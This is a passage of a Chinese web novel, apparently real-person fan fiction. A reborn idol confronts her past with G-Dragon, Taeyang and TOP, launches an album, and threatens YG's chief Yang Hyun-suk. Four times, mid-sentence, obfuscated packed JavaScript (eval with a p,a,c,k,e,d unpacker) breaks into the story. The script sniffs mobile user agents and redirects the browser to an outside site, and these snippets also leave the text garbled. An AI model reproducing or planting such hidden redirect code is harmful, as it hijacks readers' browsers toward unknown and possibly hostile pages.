备注三:不管是明月还是如约,江留月从十三四岁起经历的生活注定她的情感三观难以用普通人的思维断定,权志龙、崔胜铉、永裴三个人对她来说意义格外重大,东永裴在她心中更像是“父母”的代表,两个人之间有着超越兄妹的亲情羁绊。东永裴结婚生子这件事情对她来说像是养了自己十几年的父母忽然再婚,她甚至连跟着去加入家庭的理由都没有,从理智来说,她知道自己这样的负面情绪是扭曲的,但从情感来说,她很伤心,这种伤心她又不想表现出来让东永裴知道,所以采用了主动远离华清距离的极端做法,这种做法当然也很伤害东永裴,在原世界线中,这是她的遗憾,但这次她可以有修补机会,这对“父女”会更好的处理方式。(绝非爱情) 4. 朕和塔伊何时有过嫌隙? 04. 朕和塔伊何时有过嫌隙? 待到江留月平静下来的时候,权志龙已经任劳任怨的摆好了一桌子的饭菜,刚刚还说自己不吃的崔胜铉也在旁边占了个位置。 权志龙摆好筷子,看了一眼江留月靠着东永裴的肩膀一边抽噎一边小声告状的样子,又觉得自己只是多心罢了。 “来吃饭吧,孩子们,来吃饭吧~” 他招呼着,江留月撇撇嘴坐了过来,面前正是那一碗章鱼粥。 权志龙的心一下子提到了嗓子眼,却看到江留月露出了嫌恶的表情,一下子将粥推的老远,然后在旁边挑了一碗南瓜粥吃了起来。 ‘看来只是一时之间的错觉罢了。’ 权志龙这么想着,伸手用生菜包了一块猪蹄放在江留月的小碗里。 “那首歌难度很高的,你真的要唱吗?” 东永裴顺手端起了那碗被嫌弃的章鱼粥,虽然里面翻滚的章鱼触手让他短暂的愣了片刻,但他还是秉承着‘食物拿起来就要不浪费的享用’的原则开始喝了起来。 “没关系的。” 江留月正在啃猪蹄,嘴里含糊不清的。 “在说什么?” 权志龙问道。 “我要在家族CON翻唱永裴哥的歌。” 江留月头也不抬的说到。 除了她之外的三个人立刻交换了一下目光,崔胜铉用尽量开玩笑的语气说道:“真的?你什么时候变得那么厉害,不如来翻唱我的歌?” 江留月抬起头,盯着崔胜铉,吐字十分清晰:“不要。” 崔胜铉立刻破防:“你这孩子干嘛这样,你现在是在嫌弃我吗?” “不是嫌弃,是风格不合,哥,你能想象我唱着你的歌然后一口气上不来直接倒在舞台上的样子吗,那可就出大事了。” 江留月脑部了一下自己一分钟之内快速爆出120个单词的样子,直接打了个寒颤。 “呀,你真是,要吃巴掌吗?” 崔胜铉拿起一块苏子叶朝着江留月碗里一扔。 江留月撇撇嘴,用筷子将苏子叶夹在了一边,自己则低着头继续开始吃饭,对崔胜铉接下来的碎碎念保持了屏蔽模式。 她如此淡定的表现让东永裴刮目相看:“塔伊啊,你现在,攻击力还挺强的,真是厉害。” “我才刚刚哭完诶,永裴哥。” 江留月下意识的反驳道。 “哦,就是这个,变得厉害了。”东永裴却像是发现新大陆一般:“你以前哭完了之后还会跟我们道歉呢,说给我们带来麻烦了对不起什么的,原来哥真的觉得很心痛来着,现在多好啊,就是要这样。” 他半开玩笑道:“志龙做的不好的话,也这样打他吧。” 江留月愣了一下,然后火速回想了一下自己2014年的人设,后知后觉的反应过来,此时的自己,应该还是一个YG版的冷脸洗内裤的受气包。 虽然跟熟悉的前辈还有哥哥们可以撒娇,但大部分时候,她都处于一种是个阿猫阿狗都可以过来蹭热度的存在,因为有着和权志龙之间的关系,她总是担心自己的态度会给别人传达对权志龙不好的信息,因此大部分时候都扮演着善解人意大姐姐的角色。 至于她忍无可忍从此翻脸做主人,一条小皮鞭抽翻大半个娱乐圈,还要到2015年之后,那时候的她终于厌倦了韩娱对中国人的歧视打压,也厌倦了自己一成不变的“美貌而没有任何攻击性”“好嫁风”等身份定位,下定决心回国发展,借着当年时代的红利很快厮杀出自己的地位。 有意思的是,一直以来虽然以美貌和话题度霸占着韩娱顶流地位,每年为公司带来的盈利几乎和BB平分天下的她其实从来没有得到过公司好的培养和对待,早期的时候就不说了,YG自己还是个破烂三分地,后期发展起来,资源也大多倾斜给了已经走红的BB和2NE1,再后来更不必说了,稚气未脱的练习生们一茬接着一茬,好事儿似乎从来都轮不着她。 现在回想起来,当初的她也是被下降头一般,不管是中粉还是韩粉都在为她受到不公待遇疯狂给公司写信抗议,在社交平台发起话题的时候,她却屡次扮演了背刺的角色,站出来说公司对自己很好,在出道的七年间气走了好些忠心耿耿的氪金大粉。 若不是基因彩票一般的美貌和她本人确实没有道德以及职业上的过错,再加上当初时代红利中赶上了几个热门综艺固定出演带来的路人盘,江留月估计自己早就凉透了。 江留月想到这里,也顾不得许多,立刻摸出了自己的手机,翻阅了一下自己所有的社交账号,看着自己上面发的如同人机一样的内容只觉得眼前一黑。 除了广告,就是一些机械式的报备,照片也基本是工作人员拍摄的,饭撒呢,是几乎没有的,私下合照更不要说,零星几张,对象还大多是唯粉们名字都不想写大名给增加浏览度的那几位。 江留月越翻越觉得冷汗都要下来了,她立刻将自己碗筷旁边的杂七杂八都收拾一下,迅速摆了个可爱的造型,然后调转摄像头对着自己来了个可爱十连拍,保存修图换滤镜加文字几乎是一气呵成。 正要发出去,江留月又来了个紧急刹车。 她用诡异的眼神盯着坐在自己对面正因为她莫名可爱十连拍而懵逼(但不耽误立刻掏出手机对着她记录美好照片)的权志龙。 “志龙哥,你让让。” 权志龙:“啊?” “你站起来,到那边去,TOP哥也是,永裴哥坐过来一点。”江留月立刻下达清晰指令,哥哥们懵懵的按照她的指令动了起来,江留月却还有些不满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江留月在中日韩三个国家的社媒同时发布了一条动态,照片是和东永裴一起在录音室吃外卖,眼尖的粉丝发现电脑屏幕上被糊了一团马赛克,疑似新歌,江留月一改平日拍照的游离,狠狠饭撒可爱十连拍,就连文字都带上了可爱的颜文字。 【忙碌的工作之后饭果然更好吃,感谢永裴哥的帮忙,感觉自己作为歌手有了很好的成长,请期待Alice ^^*~】 粉丝们如同被打了一针强心剂,这条状态的转发远高于她的其他状态,并在半小时内把干进了热搜榜一。 “不是广告!!不是替别人宣传,不是杂志封面,不是人机,是我活生生的老婆!!!!” 热评一如是说道。 权志龙用小号狠狠点了个踩。 5. 持刀者 05. 持刀者 江留月这个状态一发,路人粉们如何兴高采烈不提,超话里倒是有一些大粉已经出来给那些刚入坑的萌新打预防针:这很有可能是个千年啃不动的饼。 更有比较冷静的大粉,号召大家如果这个时候有应援站出来集资买专辑/预热/应援的话,先不要给钱。 “正式专辑2.0版本的5000块我都存进去两年了,存到那个APP倒闭,退款到现在都在走流程,没有官宣请勿轻易存钱。” 评论区里也有氪金大佬出来说话,表示自己的存款随时都在等待,但确实希望大家冷静,搞不好这个状态只是给“太阳要出专辑了,也许只是哪首歌feating了”。 兴奋的讨论很快转变了风向,江留月双手抱胸一只手拿着手机越看评论越皱眉,自己也没想过原来自己曾经的舆论评价如此 严峻。 事实上,直到2015年的“hz后台事件”之后,她好像才真正听到了粉丝的声音。 在2024年的那个江留月的时间线里,她大约是在2015年的3月份左右回归的,歌是两年前的了,不算新潮但也能算及格,CB舞 台虽然认真,但她确实已经疏于锻炼唱歌舞蹈了,如果不是靠氪金狂魔的中输,1位都拿不到。 如此疯狂氪金给她推上去,中粉却没能盼到她的巡演,就连综艺也只上了RM,等到BB的《MADE》回归,一起打了个歌,BB转 去中国巡演,她就转去日本巡演了。 说是巡演,其实不过是在各个小场子里开类似于FM的活动罢了,YG对她专辑并不伤心,不过草草将韩语专辑里的歌曲歌词翻 译成日文罢了,舞台、服装都几乎原装不动。 如此不走心的设计,自然很难吸到新粉,而且在日本各种天赋级拉满的歌姬对比下,江留月的唱歌实力并不突出,因此在BB 火热席卷国内的时候,她正在不大的会场里对着三四千人的观众重复着不精彩的舞台和无趣的采访。 国内营销号营销BB的时候难免会带上她这个话题度极高的唯一中国血统的小师妹,只不过都很难有什么好话:韩国人在中国 开巡演,中国人在韩国出道去日本开fm,“亲日”“媚宅”这些标签就是在那个时候和她绑定的,直到2024年也常被黑粉和 她锁死。 回想起来,eback反响不错的情况下没能回国发展,无非是要和bb避嫌,权志龙倒是可以借着杂志拍摄和打歌和她偷偷 见面,她也曾悄悄回国在BB巡演的城市带着朋友们夜游,可这一切,都是隐秘的,是见不得光的。 此时的她,正是疯狂哭闹不休,在感情里患得患失到近乎精神失常的时候,她迫切的需要感受到爱,于是抓着权志龙像是抓着一根救命稻草。 一边溺水,一边呼救。 涌入口中的却只有灭顶的绝望。 权志龙看不见她正在逐渐支离破碎的灵魂,他无法理解她的患得患失,总是用开玩笑的口吻,没有边界感的行为刺激她吃 醋,似乎看到她吃醋、难过、流泪,他才能感受到“被爱”。 那她呢? 她都干了什么? 她就那么浑浑噩噩的活着,舞台只剩下家族con和客串也不在意,日常工作变成了CF和杂质拍摄为主,反正有着一张太漂亮的 脸蛋和之前曾经攒下的人脉,一直都是某国际大牌护肤品的代言人,也担任了韩流旅游大使,每天忙忙碌碌的,却不知道自 己在忙什么。 复杂的感情生活耗尽了她的精气神,她像是个被吊着命的游魂,明知道自己在腐烂,却只顾着遮掩臭味。 这一切爆发在hz巡演,BB全员有了两天的休息日,权志龙在手机上央求了她很久,她忍不住悄悄地从日本飞回了国内。 这一次,她在BB的后台被人拍到了背影,但公众视线下,她那时候本该在日本,有人认为是她,营销号大肆报道说她为爱回 国探班,粉丝坚定认为不是她,承认是她,那就等于承认自己的正主在无底线倒贴,两边吵了个天昏地暗,撕了个你死我 活。 最终这件事情YG出了个不痛不痒的公告,说艺人行程不受控制,她既不能撒谎也不能出来承认,最终只能缄默。 她热度很高的个人站之一的站姐因此脱粉,那个站姐在之前已经陪了她很久很久的时间了,久到虽然两个人不曾面对面交 谈,但江留月总是能在接机的人群中,在前排的粉丝群里看到那张熟悉的脸。 站姐脱粉的很得体,没有在事态最焦灼的时刻脱粉,而是在事情结束两三个月之后静静关站,关站之前,她在自己的小号更 新了一篇小作文。 江留月觉得,这位姐姐应该是很恨自己的,但她是如此心软,就连恨都下不了死手,这篇小作文在转发超过1000的时候,她 就删掉了。 即便如此,也有人截图了其中的只言片语,至今仍在脱□□ot上流传。 【……你还是那么漂亮和耀眼,如果只是为了赚钱或者养眼,我应该继续跟着你才对,塔伊,大家都羡慕的我的特权,‘为 什么你总是如此近距离的拍摄到塔伊呢’,是因为那么多年来我一直跟随着你,从来没停下过向你跑来的脚步。 ……事到如今我是真的跟不上你了,不知什么时候开始,你明亮的脸上总是带着沉闷的表情,回到家翻看那些照片的事后,我一直在为你流泪,仿佛跟着你走这些路的时候,也尝到了你的不容易。 ……我不知道要怎么才能让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220425|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心的好,所以拼了命的追活动修图买专辑买代言,希望能让你感受到我的爱。 但你似乎并不需要我这样的爱,你用漂亮的皮囊看向我们的时候,你的灵魂早就逃跑成为他人的附庸,看起来和那些灰扑扑 的被绑在绝望人生里的女人没什么区别。 可是为什么,为什么呢塔伊,我注视着的耀眼的月亮,为什么会变成厨房放满碗筷的水槽上接触不良的灯呢。】 她的这篇短文下,曾有数百上千条评论,很多人的id和头像早就和她无关了,却在诉说和她的故事。 江留月至今记得自己当时一条条看过去,一张张截图的心情。 她从来不知道自己抛弃了那么多人的爱。 只是为了一个人,她践踏了那么多人的真心和爱。 后面江留月幡然醒悟,开始精进业务,将重心转移到工作,又吃到了时代红利得到主流媒体的大力推广,在她古偶剧爆了之 后,粉丝数量也是水涨船高,一直到2024年都一路长虹,但这个站姐的退出和关站,仍然成了她的一块心病。 江留月的手指滑动两下,点开了一个头像,她似乎这时候才注意到,原来这个站姐给个人站头像用的照片,还是她第一张正 式专辑的定妆照。 “是梦开始的地方,也是月亮照亮我夜晚的时刻。” 江留月用小号关注了站姐的大小号,然后关上了手机屏幕,暂且平复一下自己的心情,也免得让眼角的湿润滑落。 身边的座位微微塌陷,有人坐在了她的身边。 她听见门关上的声音和离去的脚步声。 江留月睁开了眼,雾霭的泪水让她的眼还看不清,眼前的一切如同蒙太奇镜头一样,非常缓慢的变清晰。 权志龙静静的看着她,他的目光隐约带着急躁和不安。 太过年轻了,曾经看不懂权志龙的她,如今多了十年的阅历再回头看只有26岁的权志龙的话,却发现对方真是一眼就能看到 底。 急躁、热烈、固执,占有欲快要满溢出来,有着能把心都掏给你的赤诚,也有着要把你的心也一起掏出来揉碎的偏执。 【我都这样爱你了,如果你不爱我的话,我会疯掉。】 果然,是权志龙啊。 能写出《着魔》、《She’gone》、《Window》,在现实中爱她,在梦境中杀她的这个人,就是让她成为她的权志龙。 “我们谈谈吧。” 江留月想。 炙热的仿佛要跳出来的情意,曾经的江留月想要扑上去的话,现在的自己只会躲开。 这既不理智,也不贵重。 只会伤人的,刀刃一样的情意。 曾经的她被刀刃裹挟粉碎。 现在她要做持刀的人。 6. 请收下我的心 录音室的冷气常年开的很低,权志龙情不自禁的打了个冷颤,并下意识的想要从口袋里摸烟出来,他的目光在江留月的身影上游离片刻,还是顿住了。 “为什么离得那么远,到这里来。” 他伸出手,想要靠近这比尼古丁还要更加浓烈的瘾多一些。 江留月也伸出手,却是将他的手按了下去,她正面对他,表情看起来有些严肃。 权志龙的心一下子悬了起来。 “志龙哥……我们……” 江留月话还没说完,权志龙直接PTSD了。 他一把反抓住江留月的手,呼吸急促的快速说道:“塔伊啊,我们不要分开好吗?OPPA真的做错了,游戏也好别的也好,我真的会改会做的更好的。” 他漂亮的淡褐色的瞳孔里映衬着江留月的身影,眼圈微微发红,声音带着浓厚的鼻音,仿佛下一秒就会落下泪水。 权志龙自己也说过,自己不是一个羞于展示眼泪和脆弱的男人,又或者换个说法:他其实很擅长用扮演脆弱的一方或者受害者来博取注意力与关心。 这招屡试不爽,一个从来都全能到可怕的人脆弱的泪水总是能惹来江留月的惶恐和心痛,但这招对于2024年的江留月来说,又没有什么用。 她冷静的看着对方,几乎是轻不可闻的叹了口气。 此时的权志龙,还认为自己掌握着主动权,肆意挥霍着她的心软,表面上是惶恐脆弱的他,其实正游刃有余的等待着她的反应。 心软?那就正好。 不心软?也许会闹上一闹,不管是冷战,还是分手,权志龙都有着无数说客,给江留月营造出“志龙那么爱你,你就原谅他吧,除了志龙还会有谁会那么爱你呢?”的环境,她又总是会不知不觉的就范。 比起对于感情方面的事情总是羞于启齿默默消化的江留月来说,权志龙的“深情”总是有目共睹的。 疯狂的电话,脆弱的哀求,卑微的求和,醉酒的眼泪,构成了众人眼中深情不移的权志龙。 这让这段感情中的江留月不管是在人际圈还是在舆论战中,从未占据过上风。 他们分开之后数年,提起这段感情,除了江留月几个密友,绝大部分人都在权志龙感到不值,至于在这段关系中几乎被溺毙被扼杀的江留月,他们只字不提,后来江留月在内娱混的风生水起,不管是收入还是名声地位水涨船高,他们便认为,这都 是因为她为了这些名利才抛弃了一段真情。 没人会觉得,那些璀璨的人生,本就是属于她的。 江留月懒得辩解,想要别人来理解认可自己,是天下第一难事儿,相爱的人和父母血缘尚且如此,更不要说大部分人只是想占据道德高地的看个热闹罢了。 但她因此有一段日子恨权志龙。 江留月记得他们最后一次分手的时候,面对近乎癫狂的权志龙,她冰冷的说道:“你根本就不爱我,哥,你爱的人只有你自己,你爱的是那个‘爱着我的你’,因为所谓的分手痛苦绝望的时候,你对自己的爱一定是达到了顶峰。” 权志龙愣在那。 他是一个喜欢用眼泪来当武器的人,但那一刻,他眼睛通红通红的,一滴泪也流不下来。 “你说我不爱你?” 他用荒谬的语气,微微颤抖的问道,胸口剧烈的起伏着,像是要闭过气去。 “塔伊啊……就算这是气话,这也太伤人了。” 他喃喃道: “这也太伤人了。” 江留月冷冷的看着他,眼里的爱意早就消耗殆尽,只剩下浓烈的化不开的仇恨。 在那个时刻,仇恨蒙蔽了她,她也看不到权志龙。 她看不到权志龙在练习生期间背着发烧的她冒着大雪赶往医院,看不到权志龙为了见她一面从20楼的天台翻下窗户,看不到 得不到她的时候因为嫉妒和空虚而发疯,得到她之后因为幸福和惶恐而落泪。 她只看到自己支离破碎的人生道路上,都是朝着他奔跑的斑驳脚印。 “塔伊?” 权志龙的声音唤回了江留月的理智。 她这才意识到自己走神了。 她看向权志龙,看到对方紧张的样子,忽然笑了起来,心里竟然涌出说不出的快意和轻松。 既然大家喜欢这样定义她和权志龙的关系。 那她不如真的就这么干好了。 “你在说什么呢,哥,是哥想要分手吗?我还什么都没说呢。” 权志龙赶紧摇头,活像是个呆呆的小狗。 江留月忍不住笑了一下,伸出手,抚摸了一下他的头发,为了回归,权志龙很久都没染发了,新长出来的头发难得柔软。 “要把我的话听完啊,志龙哥,我是说我们……一起出一张专辑怎么样?” 权志龙连忙点头:“好啊,只要你不分手,我怎么都……啊?专、专辑?” 他愣了一下,显然没料到有这么一出。 “对啊,哥你给很多人做过专辑制作人吧,也给我做一次吧,不是那种单曲,我想要一整张专辑的那种,给我做吧,哥,我 真的很久没eback了,我需要你。” 江留月不给他反应的机会,伸出手抓住他修长的手指,扯住,摇了摇,语气也带足了撒娇的口吻。 “啊,也不是……不是,怎么回事,你eback吗?” 权志龙显然晕头晕脑,忽然从爱情剧跳转到事业片,他显然有些不习惯。 “怎么了,哥,你不愿意?” 江留月皱起了眉。 权志龙下意识的摇头:“不,我愿意啊。” “那就那么说定了,哥来给我当制作人,不要食言,不然你要吞1000根针。” 江留月笑眯眯的说道。 权志龙还是有些茫然,毕竟,对于他来说,刚刚还是八点档肥皂剧的分手戏,陡然之间这介于同事和恋人之间的氛围反而打 乱了他的思路,让他感到手足无措起来。 对于他的迟疑,江留月是绝对不会给机会的,她乘胜追击:“志龙哥,主打曲哥也给我写吧,没问题吧。” “不是,等会儿……你……不对,不eback的事情,你……”很显然,权志龙想问之前闹分手的事情,但他也隐约觉 得,这事儿都过去了,再提这茬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220426|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己不懂事儿了,他抓了抓脖颈,勉强把自己的频道调过来:“我从来没听说过,贤硕哥知道这件事情吗?” “不重要,哥你答应就好了,社长又不会有钱不赚吧。”江留月四两拨千斤:“怎么了,志龙哥,你没自信吗?” “有……”猛然发现自己被牵着鼻子走的权志龙深吸一口气,揉了揉自己的眉心:“等会儿,你这孩子,你从今天开始就有 些奇怪,为什么忽然就聊起这件事情?” “因为我也是歌手啊,歌手想发专辑,不是很正常的事情吗?” 江留月一脸莫名的看着他。 权志龙哑口无言,他明明感觉哪里不对,但江留月的每一句话似乎都有道理。 “而且这个公司里谁还没有得到过GD xi的歌吗?我也要有,我还要最好的那种。”江留月思索片刻:“来个七八九十首?专 辑也来个三四五六张?” “……?” 不知道为什么忽然觉得自己变成牛马的权志龙歪了下脑袋,然后看到江留月露出了得逞的坏笑。 几乎是立刻,他嘴比脑子还要快的话蹦了出来:“当然了,多少首都可以,可是……会很贵的。你知道吧。” 他一边说,一边伸出手将人拉进自己的怀里。 “有多贵?” 江留月笑着搂住了他的脖子,和权志龙淡褐色的如同琉璃的眸子不同,她的眼眸是黑曜石一般沉静的黑色,因此很久之前常常有人说她的眼睛没有神采,总是虚无的落在什么地方。 其实只是因为江留月平时习惯性的放空视线罢了,当她专注地看着某个人的时候,黑色的双眸就如同漩涡,像是能将人吸进去一般充满蛊惑感。 权志龙的呼吸都跟着停顿片刻,声音有些沙哑:“……非常贵。” 江留月眨了眨眼睛,撇撇嘴,嘀咕道:“我没有钱,你给别人写不收钱,给我收就要收很贵的钱,我讨厌你了。” “干嘛呀,明知道只是逗你的…不要讨厌我……哥给你钱。” 权志龙先是忍不住笑了,他本来也只是在逗她,见江留月流露出孩子一样的表情,他轻声道:“钱也好,歌曲也好,专辑也好,我也好,你要什么我都会给的,塔伊……你想要什么?” 他开玩笑的摸了摸自己的心口:“我的心?” 江留月看着他,录音师顶棚的灯暖黄色的灯光洒下来,她撇撇嘴,似乎想要说什么,又犹豫着没有开口。 权志龙却不知为何紧张了一下,他下意识的用开玩笑的口吻道:“哥给你挖出来?” 江留月笑了,她摸了一下权志龙的心口。 “放着吧。” 她用孩子般的口吻说道: “等到我需要的时候,我再亲手来取走。” “感谢您的恩典,公主殿下。” 权志龙握住她的手将人自己怀里一拉,轻声道:“现在……请先收下我的吻吧。” 江留月蝶翼一般的睫毛眨了眨,柔顺的闭合,作为被冒犯的许可。 权志龙的胸口中,心跳声超过所有的激烈的鼓点。 不需要任何利刃。 它自己即将跳脱束缚它的躯壳。 7. 正面硬刚 正面硬刚 出专辑这事儿,讲究一个快准狠,当你说你要出专辑的时候,最好是什么都已经准备好了,随时可以上了,千万不要提前预告,免得出幺蛾子。 但很显然,韩国人不知道什么叫做“事以密成”。 权志龙就更不知道了。 江留月坐在杨贤硕办公室的沙发上的时候,长长的叹了一口气。 她早就该知道,她哥这五毛钱的嘴,是永远不会有长进的。 此刻江留月倒也不算慌张,反而很有几分闲情逸致的在打量杨贤硕的办公室,她太久没来了,竟生出一种“故地重游”的唏嘘感,连带着看杨贤硕都觉得亲切了几分。 江留月知道自己此刻应该找点对策,哄骗着杨贤硕不要跟自己作对,毕竟距离自己的合约到期还有年把,真把这厮给惹急了,真能给她冻上。 但一看到杨贤硕,她就想到十年后,他众叛亲离的场景,大力扶持的男团挨个爆雷,女团里也是幺蛾子不断,砸钱的连锁小吃店和附属产业全部亏损,最后就连权志龙这张保命牌都离开YG去了索尼,只剩下他厚着脸皮去找回2NE1来挽救岌岌可危的事业。 “你看什么呢你这死丫头?” 杨贤硕一开口,江留月眯了一下眼睛。 啊,久违了,这阴阳怪气又尖酸刻薄的口吻,她真是很久都没听到过了,猛一听,竟然还有些小激动。 “听说你要发专辑了?你是自己开了个公司吗?为什么没有邀请我去给你剪彩?不知道的人还以为你换公司了呢。” 杨贤硕见江留月一言不发,又是一阵连珠炮攻击。 江留月继续观察对方,她以前对杨贤硕是有些害怕在身上的,毕竟才十三四岁就在YG打工,这位大老板的凶悍就如同小象脖子上的绳索一样牢牢地套着她,以至于“三个红灯”原则成一度曾经是她生命中警戒线一样的存在,仿佛只要亮了三个红灯,自己的人生就是失败且会被强制结束的一样。(注:三个红灯原则为杨贤硕曾经制定了YG艺人一旦违反规定会被亮红灯,亮三个红灯的人会被赶出公司的规定。) 如今的杨贤硕对于她来说,已经没有什么威慑力了,跳脱出YG之后她才发现这个曾经掌控了她三分之一人生和大部分艺人未来的男人其实算不上十分聪明,也并非都是对的,甚至于身上还有这尖酸刻薄,嫉妒成性、目光狭隘,心胸狭窄的种种恶习。 权力和财富真是好东西,江留月想着,它给眼前这个中年发福的秃顶男人镀上了一层金光,让他的胡言乱语成为了令人信服的铁律。 就因为杨贤硕对她的评价,她长久的在他人眼中成为一个唱歌跳舞rap都不精通的花瓶,是YG的慷慨和宽容给了她一席之地,是因为权志龙的庇护她才有了如今的地位和一切,可舞蹈唱歌rap不行,是因为她除了发第一张专辑之前和BB一起接受过一些培训之外,再也没有接受任何专业的课程;被当成没有作品的花瓶,是因为她一直在拍杂志拍广告拍综艺来赚钱,明明年收入财报上她给YG带来了滚滚财源,但因为这是个音乐公司,她就成了那个不被承认的存在。 “你现在是在走神吗?!” 杨贤硕后知后觉的发现眼前的人不仅脸上没有一丝惶恐愧疚后悔的情绪,反而直勾勾的盯着自己的样子,有一种令他极度不悦的轻蔑。 他抓起桌子上的一个玩偶就对着江留月砸了过来。 江留月几乎是条件反射的躲闪,看着那个娃娃砸在地上,变得四分五裂。 “为什么那么大的火气,社长,我都多久没有进行歌手活动了,发一张专辑也没有什么问题吧。” “这件事情你问过谁了?就算你要发专辑,和志龙什么关系,为什么让他给你当制作人?你是不知道BIGBANG要回归了吗?永裴马上也要出SOLO了,做人你怎么那么没有眼力见?” 杨贤硕尖酸刻薄的声音,终于让江留月找到了精准的形容。 他很像一个,在苛待自己儿媳妇的恶婆婆。 “志龙哥自己愿意的,社长,愿意得不得了,这是我们之间的事情,您就别插手了。” 江留月思索片刻,用儿媳妇对待恶婆婆的思路来作为自己的攻击方式。 果然,杨贤硕暴跳如雷。 “呀!!你疯了吗?!志龙哪有时间去搞你的什么专辑,你以为你是谁,志龙为什么要给你做专辑?你问过我了吗?人怎么能活的那么没有眼力见又势力,别让志龙那么辛苦,你别忘记你是靠着谁才能活得那么舒坦的!!” Emmmm…… 江留月沉默了。 这熟悉的“你要不是嫁给了我儿子哪能过那么多好日子”的腔调,让她眼前的杨贤硕忽然变成了烫着卷发的大婶形象,她赶紧深吸一口气低下头才没能在自己的幻想里笑出来。 不过,她那忍不住微微勾起的嘴角,还是引发了杨贤硕的暴怒。 “笑?呀,你现在是在笑吗?” 杨贤硕一整个暴怒:“你这不知廉耻的死丫头!!” 江留月面对这一连串的人身攻击,终于长出了一口气。 她已经很久没有如此直白的面对恶意和攻击了,自从她爬上了顶端的宝座,面对的人都是和善而温柔的,就算是杨贤硕,也总是带着和蔼的笑意说着让人鸡皮疙瘩都起来的好话,仿佛随时能系上围裙给她做上三菜一汤,只求她能“常回家看看”。 以至于如今面对杨贤硕,她已经彻底祛魅,曾经那种孩子对于父辈的恐惧,学生对于老师的畏惧,打工人对于领导的忍气吞声都已荡然无存。 “本来想忍一忍的,但是,我好像现在特别缺乏忍耐力。”江留月在杨贤硕再次抓起一个娃娃丢过来的时候闪躲开,然后不胜其烦的说道:“你现在的行为,就跟看不到电视节目的小学生没有什么区别。” 口舌之快谁都会逞能,但今天江留月选择了最解气的方式,她捡起那个被丢在地上的娃娃,然后深呼吸,后撤一步,稳稳地拉开架势,没有给对方任何阻止的机会,便朝着杨贤石身后猛然甩去。 这个站起来甩的威力比杨贤石坐在座位上往外扔可大多了,饶是双层防爆玻璃,都发出震耳欲聋的声音之后爆出细密的裂纹,然后在杨贤石惊恐的视线下,一整面玻璃就这样噼里啪啦的裂开。 江留月观察了一下,发现这个玻璃质量非常好,于是左右环顾,瞄上了茶几上的一个花瓶摆件。 “呀你这个疯丫头你是疯了吗,狗@#¥@#¥@#¥……”杨贤石惊魂未定的破口大骂,但他骂人的话很快就戛然而止。 因为江留月再次拉开了架势,摆出了一个丢铁饼的动作,手里拿着的正是一个铁艺花瓶。 她晃了晃手臂,不知道是觉得太重了,还是在寻找瞄准姿势。 杨贤石噌的一下子从椅子上弹了起来,迅速离开自己的桌子,但他很快就发现,江留月也顺势改变了丢花瓶的方向。 好的,是在寻找瞄准姿势了。 杨贤石说时迟那时快的冲到了刚离开的桌子旁边,然后一个俯身就躲在了桌子底下。 他的内心告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220427|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,江留月不敢,但也有一个声音告诉他:也许这丫头是真的疯了,疯子是不可能讲道理的,他赌不起。 江留月一步步走过来,高跟鞋踩在地毯上没有什么咔哒咔哒的声音,这让杨贤石的精神反而更加紧绷了。 咔哒一声,却是江留月把花瓶放在了他藏身的桌子上。 “社长nin,相信您也感觉到了,我现在是个精神不太稳定的人,疯起来的时候我也不知道自己会做什么,您这样贵重的命,就不要跟我来计较这些小事儿了,我要干什么,我见了什么人,我是不是和志龙哥感情很好或者感情很坏,请您像是尊重志龙哥那样尊重我,那样的话,我就像是个人一样跟您沟通,而不是像打狗一样打您一顿。” 数十年的韩国生活,江留月对于韩语的操控早就炉火纯青,一顿堪比rap的输入让杨贤石顾不上自己被砸的风险,想要再次跳出来大骂:“你这样干以为自己会没事儿吗?疯丫头狗杂种我要送你去坐牢,我要冷藏你,你还想出专辑!?” “您要是做得到的话就来试试看吧。” 江留月直勾勾的盯着他,细白的手指勾住了那个铁艺花瓶,杨贤石在那双漆黑双眸的注视下,竟然打了个寒颤。 “不过我觉得,您接下来应该会很忙,忙到没有时间来管我的。” 江留月意味深长的说道。 “你想干什么?!” 杨贤硕因为生气而声音尖锐。 